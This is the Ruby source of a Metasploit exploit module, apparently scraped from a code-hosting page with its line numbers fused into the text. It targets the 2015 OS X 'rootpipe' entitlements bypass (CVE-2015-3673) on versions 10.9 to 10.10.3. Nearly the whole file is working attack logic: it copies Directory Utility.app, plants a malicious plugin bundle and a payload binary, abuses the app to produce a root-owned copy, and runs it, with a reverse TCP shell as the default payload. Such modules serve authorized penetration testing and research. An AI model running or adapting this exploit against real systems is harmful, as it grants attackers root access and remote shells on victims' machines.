Path: blob/master/modules/exploits/osx/local/rootpipe_entitlements.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation',19'Description' => %q{20This module exploits the rootpipe vulnerability and bypasses Apple's initial21fix for the issue by injecting code into a process with the 'admin.writeconfig'22entitlement.23},24'Author' => [25'Emil Kvarnhammar', # Vulnerability discovery and PoC26'joev' # Copy/paste monkey27],28'References' => [29['CVE', '2015-3673'],30['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']31],32'DisclosureDate' => '2015-07-01',33'License' => MSF_LICENSE,34'Platform' => 'osx',35'Arch' => ARCH_X64,36'SessionTypes' => ['shell'],37'Privileged' => true,38'Targets' => [39['Mac OS X 10.9-10.10.3', {}]40],41'DefaultTarget' => 0,42'DefaultOptions' => {43'PAYLOAD' => 'osx/x64/shell_reverse_tcp',44'PrependSetreuid' => true45},46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options [55OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])56]57end5859def base_dir60datastore['WritableDir'].to_s61end6263def check64if ver? && is_admin?65vprint_status("Version is between 10.9 and 10.10.3, and is admin.")66return CheckCode::Appears67else68return CheckCode::Safe69end70end7172def exploit73if is_root?74fail_with Failure::BadConfig, 'Session already has root privileges'75end7677unless is_admin?78fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."79end8081if check != CheckCode::Appears82fail_with Failure::NotVulnerable, 'Target is not vulnerable'83end8485unless writable? base_dir86fail_with Failure::BadConfig, "#{base_dir} is not writable"87end8889print_status("Copying Directory Utility.app to #{new_app}")90cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")91cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")9293print_status("Writing bundle plist to `#{plist_file}'")94write_file(plist_file, plist)9596print_status("Writing payload to `#{payload_file}'")97write_file(payload_file, binary_payload)98register_file_for_cleanup(payload_file)99100print_status("Writing malicious shared library to `#{exploit_file}'")101write_file(exploit_file, plugin_exploit)102103print_status("Running Directory Utility.app")104cmd_exec("/bin/sh -c 'PAYLOAD_IN=#{payload_file} PAYLOAD_OUT=#{root_file} #{new_app}/Contents/MacOS/Directory\\ Utility'")105106print_status("Deleting Directory Utility.app")107cmd_exec("rm -Rf '#{new_app}'")108109print_status('Executing payload...')110cmd_exec("/bin/sh -c '#{root_file} &'")111end112113def ver?114Rex::Version.new(get_sysinfo['ProductVersion']).between?(115Rex::Version.new('10.9'), Rex::Version.new('10.10.3')116)117end118119def sploit120"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"121end122123def plugin_exploit124File.read(File.join(125Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'126))127end128129def binary_payload130Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)131end132133def exploit_file134"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"135end136137def plist_file138"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"139end140141def new_app142@app ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}.app"143end144145def plist146%Q|147<?xml version="1.0" encoding="UTF-8"?>148<plist version="1.0">149<dict>150<key>CFBundleGetInfoString</key>151<string>RootpipeBundle</string>152<key>CFBundleExecutable</key>153<string>RootpipeBundle</string>154<key>CFBundleIdentifier</key>155<string>com.root.pipe</string>156<key>CFBundleName</key>157<string>RootpipeBundle</string>158<key>CFBundleShortVersionString</key>159<string>0.01</string>160<key>CFBundleInfoDictionaryVersion</key>161<string>6.0</string>162<key>CFBundlePackageType</key>163<string>APPL</string>164<key>IFMajorVersion</key>165<integer>0</integer>166<key>IFMinorVersion</key>167<integer>1</integer>168</dict>169</plist>170|171end172173def payload_file174@payload_file ||=175"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"176end177178def root_file179@root_file ||=180"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"181end182end183184185